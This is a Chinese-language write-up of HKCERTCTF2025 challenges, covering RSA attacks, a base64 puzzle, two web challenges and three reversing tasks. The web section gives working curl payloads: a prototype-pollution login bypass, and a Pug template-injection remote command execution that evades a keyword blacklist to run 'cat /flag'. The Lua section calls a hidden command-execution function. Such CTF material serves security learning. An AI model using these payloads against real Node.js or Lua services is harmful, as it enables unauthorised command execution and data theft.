HKCERTCTF2025--解题记录

一、Cryptography

1、Try E

题目描述:E is so big... what does it mean?

from Crypto.Util.number import getPrime, bytes_to_long from secret import flag def get_huge_RSA(): p = getPrime(1024) q = getPrime(1024) N = p * q phi = (p - 1) * (q - 1) while True: d = getPrime(256) e = pow(d, -1, phi) if e.bit_length() == N.bit_length(): break return N,e if __name__ == '__main__': N, e = get_huge_RSA() m = bytes_to_long(flag) c = pow(m, e, N) print(f'N = {hex(N)}') print(f'e = {hex(e)}') print(f'c = {hex(c)}') ''' N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7 c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60 '''

分析代码:

  1. 生成 1024 位的 p,qp,q,计算 N=p×qN=p×q。

  2. 生成一个256 位的素数作为私钥 dd(相对较小,256 位相对于 2048 位的 NN 来说很小)。

  3. 计算 e=d−1mod ϕ(N)e=d−1modϕ(N)。

  4. 要求 ee 的位数和 NN 的位数相同(即 ee 很大,接近 NN 的大小)。

  5. 加密 flag 得到密文 cc。

解题思路:

因为 dd 只有 256 位(NN 是 2048 位),满足Wiener 攻击的条件:

d<13N1/4≈1322048/4=132512(远远大于 256 位)d<31​N1/4≈31​22048/4=31​2512(远远大于 256 位)

所以 Wiener 攻击肯定可行。

我们有:

ed≡1(modϕ(N))ed≡1(modϕ(N))ed=1+kϕ(N)=1+k(N−(p+q)+1)ed=1+kϕ(N)=1+k(N−(p+q)+1)

于是:

∣eN−kd∣=∣1+k(N−ϕ(N))Nd∣≈k(p+q)Nd​Ne​−dk​​=​Nd1+k(N−ϕ(N))​​≈Ndk(p+q)​

因为 p+q≈2Np+q≈2N​,且 k≈edN≈dk≈Ned​≈d,所以这个差值很小,因此 kddk​ 是 eNNe​ 连分数展开的一个收敛子。

解法:

  1. 对 e/Ne/N 进行连分数展开。

  2. 对每一个收敛分数 k/dk/d 尝试作为候选的 kk 和 dd。

  3. 检查 dd 是否整数且 ed≡1(modϕ(N))ed≡1(modϕ(N)) 的某种形式成立。

  4. 得到 dd 后解密 cc。

import gmpy2 from Crypto.Util.number import long_to_bytes N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7 c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60 def wiener_attack(e, n): # 连分数展开 e/n,并尝试每个收敛分数 def continued_fraction(e, n): cf = [] while n: q = e // n cf.append(q) e, n = n, e - q * n return cf def convergents(cf): convergents = [] for i in range(len(cf)): num = cf[i] den = 1 for j in range(i-1, -1, -1): num, den = cf[j] * num + den, num convergents.append((num, den)) return convergents cf = continued_fraction(e, n) convs = convergents(cf) for k, d in convs: if k == 0: continue # 检查 ed ≡ 1 mod phi 的近似条件 # 由 ed - 1 = k phi,phi ≈ N if (e * d - 1) % k != 0: continue phi = (e * d - 1) // k # 从 phi 和 N 求解 p,q:N - phi + 1 = p+q s = n - phi + 1 # 判别式 s^2 - 4n 应为完全平方数 D = s*s - 4*n if D < 0: continue sqrtD = gmpy2.isqrt(D) if sqrtD * sqrtD == D: # 找到 p,q p = (s + sqrtD) // 2 q = (s - sqrtD) // 2 if p * q == n: return d, int(p), int(q) return None res = wiener_attack(e, N) if res: d, p, q = res print(f"Found d = {d}") print(f"p = {p}") print(f"q = {q}") # 解密 m = pow(c, d, N) print("Flag:", long_to_bytes(m).decode()) else: print("Wiener attack failed")

2、Loss N

题目描述:Even without that n, I can still solve the flag.

from Crypto.Util.number import * from gmpy2 import * from secret import flag m = bytes_to_long(flag) p = getPrime(512) q = next_prime(p) n = p * q e = 0x10001 d = inverse(e, (p-1) * (q-1)) c = pow(m, e, n) print(f"c = {c}") print(f"d = {d}") ''' c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240 d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373 '''

解题思路:

  1. 题目特性:给出了 e,d,ce,d,c,没有给 nn,但已知 pp 和 qq 是相邻素数。

  2. 利用关系:从 ed−1=kϕ(n)ed−1=kϕ(n) 出发,枚举可能的 kk 值。

  3. 相邻素数条件:q−pq−p 很小,因此 (p+q)2−4n(p+q)2−4n 是一个完全平方数且数值小。

  4. 求解:对每个候选 ϕ=(ed−1)/kϕ=(ed−1)/k,用相邻素数条件解出 nn 和 p,qp,q。

  5. 解密:得到 nn 后直接用 cdmod ncdmodn 解密得到 flag。

import gmpy2 from Crypto.Util.number import long_to_bytes e = 65537 c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240 d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373 ed1 = e * d - 1 # k 应该在 e 附近,因为 phi ≈ n, n 是 1024 位,ed1 是 1024+ 位,所以 k ≈ e 量级 for k in range(1, 100000): if ed1 % k == 0: phi = ed1 // k # 近似 n sqrt_phi = gmpy2.isqrt(phi) n_approx = phi + 1 + 2 * sqrt_phi # 在附近搜索 for n in range(n_approx - 10000, n_approx + 10000): S = n + 1 - phi # p+q if S <= 0: continue delta2 = S * S - 4 * n # (q-p)^2 if delta2 < 0: continue delta = gmpy2.isqrt(delta2) if delta * delta == delta2: p = (S - delta) // 2 q = (S + delta) // 2 if gmpy2.is_prime(p) and gmpy2.is_prime(q) and q == gmpy2.next_prime(p): # 验证 ed1 = k * phi(n) 成立 if (p-1)*(q-1) == phi: print(f"Found k = {k}") print(f"p = {p}") print(f"q = {q}") print(f"n = {n}") # 解密 m = pow(c, d, n) print("Flag:", long_to_bytes(m)) exit()

二、MISC

1、Easy_Base

题目描述:新人,學院給了你一套能殺死龍王的武器,但上面的文字好像有點看不清啊(flag格式為:flag{xx_xx})

文件内容:Zg====AbYQ====wZew====ARZQ====gbaQ====QcdQ====QZdQ====gYaQ====QZcg====QadA====wXcw====QYbg====wZdQ====Qacw====QYZw====AbYQ====AZaQ====wbcg====QZZw====Qacw====Qf

这个比较简单,两个一组,隔一个反转解密

import base64 data = """Zg====\nAbYQ====\nwZew====\nARZQ====\ngbaQ====\nQcdQ====\nQZdQ====\ngYaQ====\nQZcg====\nQadA====\nwXcw====\nQYbg====\nwZdQ====\nQacw====\nQYZw====\nAbYQ====\nAZaQ====\nwbcg====\nQZZw====\nQacw====\nQf""" c = ''.join(l.rstrip('=') for l in data.strip().split('\n')) print(''.join(chr(base64.b64decode((c[i:i+2][::-1] if (i//2+1)%2==0 and i+1<len(c) else c[i:i+2])+"==")[0]) for i in range(0,len(c),2)))

三、WEB

1、ezjs

题目描述:Come and try some code auditing!

const expres=require('express') const JSON5 = require('json5'); const bodyParser = require('body-parser') const pugjs=require('pug') const session = require('express-session') const rand = require('string-random') var cookieParser = require('cookie-parser'); const SECRET = rand(32, '0123456789abcdef') const port=80 const app=expres() app.use(bodyParser.urlencoded({ extended: false })) app.use(bodyParser.json()) app.use(session({ secret: SECRET, resave: false, saveUninitialized: true, cookie: { maxAge: 3600 * 1000 } })); app.use(cookieParser()); function waf(obj, arr){ let verify = true; Object.keys(obj).forEach((key) => { if (arr.indexOf(key) > -1) { verify = false; } }); return verify; } app.get('/',(req,res)=>{ res.send('hey bro!') }) app.post('/login',(req,res)=>{ let userinfo=JSON.stringify(req.body) const user = JSON5.parse(userinfo) if (waf(user, ['admin'])) { req.session.user = user if(req. session.user.admin==true){ req.session.user='admin' res.send('hello,admin') } else{ res.send('hello,guest') } } else { res.send('login error!') } }) app.post('/render',(req,res)=>{ if (req.session.user === 'admin'){ var word = req.body.word const blacklist = ['require', 'exec'] let isBlocked = false if (word) { for (let keyword of blacklist) { if (word.toLowerCase().includes(keyword.toLowerCase())) { isBlocked = true break } } } if (isBlocked) { res.send('Blocked: dangerous keywords detected!') } else { var hello='welcome '+ word res.send (pugjs.render(hello)) } } else{ res.send('you are not admin') } }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })

通过分析源码得到:

漏洞1:/login 路由的原型链污染

// 问题代码 const user = JSON5.parse(userinfo); // 使用宽松的JSON5解析器 if (waf(user, ['admin'])) { // 只检查键名是否为'admin' req.session.user = user; if(req.session.user.admin==true){ // 宽松比较 == req.session.user='admin'; } } // WAF函数缺陷 function waf(obj, arr){ Object.keys(obj).forEach((key) => { if (arr.indexOf(key) > -1) { // 仅检查对象自身键名 verify = false; } }); }

漏洞2: /render 路由的模板注入

// 问题代码 var hello='welcome '+ word; // 直接拼接用户输入 res.send(pugjs.render(hello)); // 不完善的黑名单 const blacklist = ['require', 'exec']; // 只过滤这两个关键词

解题过程:

1、绕过登录成为admin

curl -X POST http://target/login \ -H "Content-Type: application/json" \ -d '{"__proto__": {"admin": 1}}' # 响应: hello,admin

原理:

  1. WAF绕过:Object.keys(obj)返回["__proto__"],而非["admin"]

  2. 原型污染: JSON5解析后污染Object原型,所有对象继承admin: 1

  3. 宽松比较:req.session.user.admin == true时,1 == true结果为true

2、Pug模板注入RCE

# 1. 获取admin会话 curl -X POST http://target/login \ -H "Content-Type: application/json" \ -d '{"__proto__": {"admin": 1}}' \ -c cookies.txt # 2. 执行命令获取flag curl -X POST http://target/render \ -H "Content-Type: application/json" \ -b cookies.txt \ -d '{"word": "#{global.process.mainModule.constructor._load(\"ch\"+\"ild_pro\"+\"cess\").execSync(\"cat /flag\").toString()}"}'

绕过技巧:

  1. 拆分字符串:"ch"+"ild_pro"+"cess"绕过child_process检测

  2. 使用constructor._load: 替代被过滤的require

  3. Base64编码备用: 如果字符串拼接被拦截,使用Base64编码绕过

2、easy-lua

题目描述:A Lua online executor

解题思路:

1、信息收集

  • 访问Web界面,发现Lua在线执行环境

  • 尝试基本Lua代码,确认服务正常运行

  • 输出显示严格沙箱环境:只有_Gtablestringmath可用

2、深度探测

-- 关键步骤:枚举全局变量 for k,v in pairs(_G) do print(k, type(v)) end

发现关键函数S3cr3t0sEx3cFunc(名称明显暗示:Secret OS Execute Function)

3、功能验证

-- 测试隐藏函数 print(S3cr3t0sEx3cFunc("ls -la"))

成功返回目录列表,确认该函数具有系统命令执行能力。

4、获取flag

-- 直接读取标准flag位置 local flag = S3cr3t0sEx3cFunc("cat /flag") print("Flag found:", flag)

四、REV

1、easyjar

题目描述:Reverse engineering a simple algorithm

解题步骤:

1、初步分析

unzip -l sm4chal.jar # 输出: Main.class, Sm4.class unzip -p sm4chal.jar META-INF/MANIFEST.MF # 显示主类: Main

2、反编译分析

使用javap -c -p分析字节码:

Main.class 分析

  • 程序要求输入flag

  • 验证格式:必须以flag{开头,}结尾

  • 使用SM4加密输入

  • 与硬编码密文比较:21c2692a4775c413356a31fc55c38f6218bed9d46c45bd0eb777be9334c999d7

  • 密钥生成:Sm4.deriveKeyFromSeed("happ")

Sm4.class 分析

  • 实现了完整的SM4算法

  • 关键发现:自定义S盒变换

private static int sboxTransform(int x) { return SBOX_P[(x ^ 0x3C) & 0xFF]; }
  • SBOX_P生成:rotl8(SBOX[x ^ 0xA7], x & 3)

  • 加密模式:ECB

  • 填充方式:PKCS7

3、密钥分析

def derive_key(seed="happ"): seed_bytes = seed.encode('utf-8') seed_len = len(seed_bytes) key = bytearray(16) for i in range(16): seed_byte = seed_bytes[i % seed_len] transformed = (seed_byte + i * 17 + 35) & 0xFF key[i] = transformed return bytes(key) # 结果: 8b95b5c6cfd9f90a131d3d4e57618192

4、算法逆向(SM4标准算法,但有关键修改)

  1. 标准S盒 → 自定义SBOX_P

  2. SBOX_P生成逻辑:rotl8(SBOX[x ^ 0xA7], x & 3)

  3. S盒变换:先异或0x3C再查表

5、解密实现

  • 实现自定义S盒变换

  • 实现SM4轮函数

  • 实现密钥扩展

  • 注意轮密钥解密时需反序

#!/usr/bin/env python3 import binascii def rotl8(x, n): """8位循环左移""" n = n & 7 return ((x << n) & 0xFF) | (x >> (8 - n)) def generate_sbox_p(): """根据字节码生成SBOX_P""" SBOX = [ 0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87, 0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f, 0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8, 0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0, 0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84, 0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48 ] SBOX_P = [0] * 256 for x in range(256): index = x ^ 0xA7 sbox_val = SBOX[index & 0xFF] rotated = rotl8(sbox_val, x & 3) SBOX_P[x] = rotated & 0xFF return SBOX_P class SM4Decryptor: SBOX_P = generate_sbox_p() FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc] CK = [ 0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9, 0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9, 0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299, 0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279 ] @staticmethod def rotl(x, n): return ((x << n) & 0xFFFFFFFF) | ((x & 0xFFFFFFFF) >> (32 - n)) @staticmethod def sbox_transform(x): index = (x ^ 0x3C) & 0xFF return SM4Decryptor.SBOX_P[index] @staticmethod def tau(x): a = (x >> 24) & 0xFF b = (x >> 16) & 0xFF c = (x >> 8) & 0xFF d = x & 0xFF a = SM4Decryptor.sbox_transform(a) b = SM4Decryptor.sbox_transform(b) c = SM4Decryptor.sbox_transform(c) d = SM4Decryptor.sbox_transform(d) return (a << 24) | (b << 16) | (c << 8) | d @staticmethod def t(x): b = SM4Decryptor.tau(x) return b ^ SM4Decryptor.rotl(b, 2) ^ SM4Decryptor.rotl(b, 10) ^ \ SM4Decryptor.rotl(b, 18) ^ SM4Decryptor.rotl(b, 24) @staticmethod def t_prime(x): b = SM4Decryptor.tau(x) return b ^ SM4Decryptor.rotl(b, 13) ^ SM4Decryptor.rotl(b, 23) @staticmethod def expand_key(key): mk = [ (key[0] << 24) | (key[1] << 16) | (key[2] << 8) | key[3], (key[4] << 24) | (key[5] << 16) | (key[6] << 8) | key[7], (key[8] << 24) | (key[9] << 16) | (key[10] << 8) | key[11], (key[12] << 24) | (key[13] << 16) | (key[14] << 8) | key[15] ] k = [0] * 36 for i in range(4): k[i] = mk[i] ^ SM4Decryptor.FK[i] rk = [0] * 32 for i in range(32): k[i + 4] = k[i] ^ SM4Decryptor.t_prime( k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4Decryptor.CK[i] ) rk[i] = k[i + 4] return rk @staticmethod def decrypt_block(data, rk): x = [0] * 36 x[0] = (data[0] << 24) | (data[1] << 16) | (data[2] << 8) | data[3] x[1] = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7] x[2] = (data[8] << 24) | (data[9] << 16) | (data[10] << 8) | data[11] x[3] = (data[12] << 24) | (data[13] << 16) | (data[14] << 8) | data[15] for i in range(32): x[i + 4] = x[i] ^ SM4Decryptor.t( x[i + 1] ^ x[i + 2] ^ x[i + 3] ^ rk[31 - i] ) result = bytearray(16) result[0:4] = x[35].to_bytes(4, 'big') result[4:8] = x[34].to_bytes(4, 'big') result[8:12] = x[33].to_bytes(4, 'big') result[12:16] = x[32].to_bytes(4, 'big') return bytes(result) @staticmethod def pkcs7_unpad(data): if len(data) == 0: return data padding_len = data[-1] if 1 <= padding_len <= 16: if all(b == padding_len for b in data[-padding_len:]): return data[:-padding_len] return data @staticmethod def decrypt(ciphertext, key): rk = SM4Decryptor.expand_key(key) plaintext = bytearray() for i in range(0, len(ciphertext), 16): block = ciphertext[i:i+16] plaintext.extend(SM4Decryptor.decrypt_block(block, rk)) return SM4Decryptor.pkcs7_unpad(bytes(plaintext)) def derive_key(seed="happ"): seed_bytes = seed.encode('utf-8') seed_len = len(seed_bytes) key = bytearray(16) for i in range(16): seed_byte = seed_bytes[i % seed_len] transformed = (seed_byte + i * 17 + 35) & 0xFF key[i] = transformed return bytes(key) # 使用 key = derive_key("happ") ciphertext = binascii.unhexlify("21c2692a4775c413356a31fc55c38f6218bed9d46c45bd0eb777be9334c999d7") plaintext = SM4Decryptor.decrypt(ciphertext, key) print(f"Flag: {plaintext.decode('utf-8')}")

2、JN

题目描述:怎麽有的函數看不到

解题流程:

1、初步分析

apktool d JN.apk -o JN_decoded

发现APK包含:

  • 两个DEX文件:classes.dex, classes2.dex

  • Native库:libxsran.so (arm64-v8a/armeabi-v7a/x86/x86_64)

  • Assets目录:dexopt/(包含性能分析文件)

2、关键代码定位

入口Activitycom.challenge.xsran.MainActivity

关键验证方法validate():

public final validate(Ljava/lang/String;)Z { // 1. 检查Flag长度 == 22字符 // 2. flag.substring(5, 21) 取16字符 // 3. 分成两部分:前8字符(part1) + 后8字符(part2) // 4. part1 -> J_Validate() [Java层RC4验证] // 5. part2 -> N_Valildate() [Native层XXTEA验证] }

3、Part1分析 - Java层RC4

验证函数J_Validate([B)Z

public final J_Validate([B)Z { encrypted = unknownEncrypt(input, UNKNOWN_KEY); return Arrays.equals(encrypted, JAVA_CIPHER); }

unknownEncrypt是标准RC4算法

  • KSA(密钥调度算法)+ PRGA(伪随机生成算法)

  • 通过异或操作加密/解密

关键数据:

UNKNOWN_KEY = [0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10] JAVA_CIPHER = [0xC6, 0x17, 0xF4, 0xF4, 0xB6, 0x5C, 0xCE, 0x90]

RC4解密得到part1:

def rc4_decrypt(data, key): # RC4实现 return decrypted part1 = rc4_decrypt(JAVA_CIPHER, UNKNOWN_KEY) # part1 = "kokodayo"

4、Part2分析 - Native层XXTEA

验证函数:N_Valildate([B)Z(注意函数名拼写错误)

  • 位于libxsran.so中

  • 函数名:Java_com_challenge_xsran_MainActivity_N_1Valildate

算法识别: XXTEA加密算法

  • 魔数delta:0x9E3779B9

  • 循环32次(iVar5 = -0x200

关键数据提取:

  • 密钥: 从.so文件偏移0x558处获取16字节

0f 1e 2d 3c 4b 5a 69 78 87 96 a5 b4 c3 d2 e1 f0

转换为4个32位整数(小端序):
[0x3c2d1e0f, 0x78695a4b, 0xb4a59687, 0xf0e1d2c3]

  • 目标密文: 从反汇编代码获得

uVar3 == 0xfa7cb432 && uVar1 == 0x6421acbe

高32位=0xfa7cb432, 低32位=0x6421acbe

XXTEA解密:

def xxtea_decrypt(cipher, key): # XXTEA解密实现 return decrypted cipher = [0x6421acbe, 0xfa7cb432] # [低32位, 高32位] decrypted = xxtea_decrypt(cipher, key) # 解密得到两个32位整数,转换为8字节

解密结果

part2_bytes = b'~OoO~OoO' part2 = "~OoO~OoO"
import struct def rc4(data, key): """RC4加密/解密""" S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) & 0xFF S[i], S[j] = S[j], S[i] i = j = 0 result = bytearray() for byte in data: i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) & 0xFF] result.append(byte ^ K) return bytes(result) def xxtea_decrypt(v, k): """XXTEA解密""" n = len(v) delta = 0x9E3779B9 rounds = 6 + 52 // n sum_ = (rounds * delta) & 0xFFFFFFFF y = v[0] for _ in range(rounds): e = (sum_ >> 2) & 3 for i in range(n-1, 0, -1): z = v[i-1] v[i] = (v[i] - (((z>>5 ^ y<<2) + (y>>3 ^ z<<4)) ^ ((sum_ ^ y) + (k[(i & 3) ^ e] ^ z)))) & 0xFFFFFFFF y = v[i] z = v[n-1] v[0] = (v[0] - (((z>>5 ^ y<<2) + (y>>3 ^ z<<4)) ^ ((sum_ ^ y) + (k[(0 & 3) ^ e] ^ z)))) & 0xFFFFFFFF y = v[0] sum_ = (sum_ - delta) & 0xFFFFFFFF return v def main(): # Part 1: RC4解密 key_rc4 = bytes([0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10]) cipher_rc4 = bytes([0xC6, 0x17, 0xF4, 0xF4, 0xB6, 0x5C, 0xCE, 0x90]) part1 = rc4(cipher_rc4, key_rc4) print(f"密钥: {key_rc4.hex()}") print(f"密文: {cipher_rc4.hex()}") print(f"解密: {part1.decode('utf-8')}") # Part 2: XXTEA解密 key_xxtea = bytes([0x0f, 0x1e, 0x2d, 0x3c, 0x4b, 0x5a, 0x69, 0x78, 0x87, 0x96, 0xa5, 0xb4, 0xc3, 0xd2, 0xe1, 0xf0]) k = list(struct.unpack('<IIII', key_xxtea)) cipher = [0x6421acbe, 0xfa7cb432] # [低32位, 高32位] decrypted = xxtea_decrypt(cipher.copy(), k) part2_bytes = struct.pack('<I', decrypted[0]) + struct.pack('<I', decrypted[1]) part2 = part2_bytes.decode('utf-8') print(f"密钥: {key_xxtea.hex()}") print(f"密文: {[hex(x) for x in cipher]}") print(f"解密: {part2}") # 组合Flag flag = f"flag{{{part1.decode('utf-8')}{part2}}}" print(f"Flag长度: {len(flag)} 字符") print(f"最终Flag: {flag}") if __name__ == "__main__": main()

3、ezc

题目描述:What about the random key? flag Submission format: flag{youget}

程序逻辑分析:

1. 流程概述

  1. 生成随机种子:srand((time(0) ^ getpid()) % 20)

  2. rand()生成36字节密钥key[36]

  3. 提示用户输入36字节猜测

  4. 将输入与key逐字节异或,得到加密结果

  5. 比较加密结果与硬编码的cipher(36字节)

  6. 相同则输出"Correct! Your input is the plaintext."

2. 关键发现

  • 种子范围仅0~19,可爆破

  • cipher位于.rodata段,地址0x555555556020

  • 算法:cipher[i] = flag[i] ^ key[i]

解题步骤

方法一:动态调试

1、获取cipher:

(gdb) x/36xb 0x555555556020 1f c9 ed 29 a6 fe 44 ee 82 45 e9 d8 7f 42 10 e0 bb 4b d0 05 4c 76 90 cb 48 9c 7a a9 f0 33 55 25 64 88 3d f7

2、获取密钥

  • 输入36个'a'(0x61)

  • memcmp处断点(0x555555555619

  • 获取加密结果enc_inputrdi寄存器)

  • 计算密钥:key[i] = enc_input[i] ^ 0x61

  • 得到本次运行的密钥

3、解密

plain[i] = cipher[i] ^ key[i]

方法二:种子爆破

由于%20只有20种可能,枚举种子生成密钥并解密:

import ctypes libc = ctypes.CDLL("libc.so.6") cipher = bytes.fromhex("1fc9ed29a6fe44ee8245e9d87f4210e0bb4bd0054c7690cb489c7aa9f033552564883df7") for seed in range(20): libc.srand(seed) key = bytes((libc.rand() & 0xff for _ in range(36))) plain = bytes(cipher[i] ^ key[i] for i in range(36)) if all(32 <= b <= 126 for b in plain): # 可打印字符检查 print(f"Seed {seed}: {plain.decode()}")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1125848.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

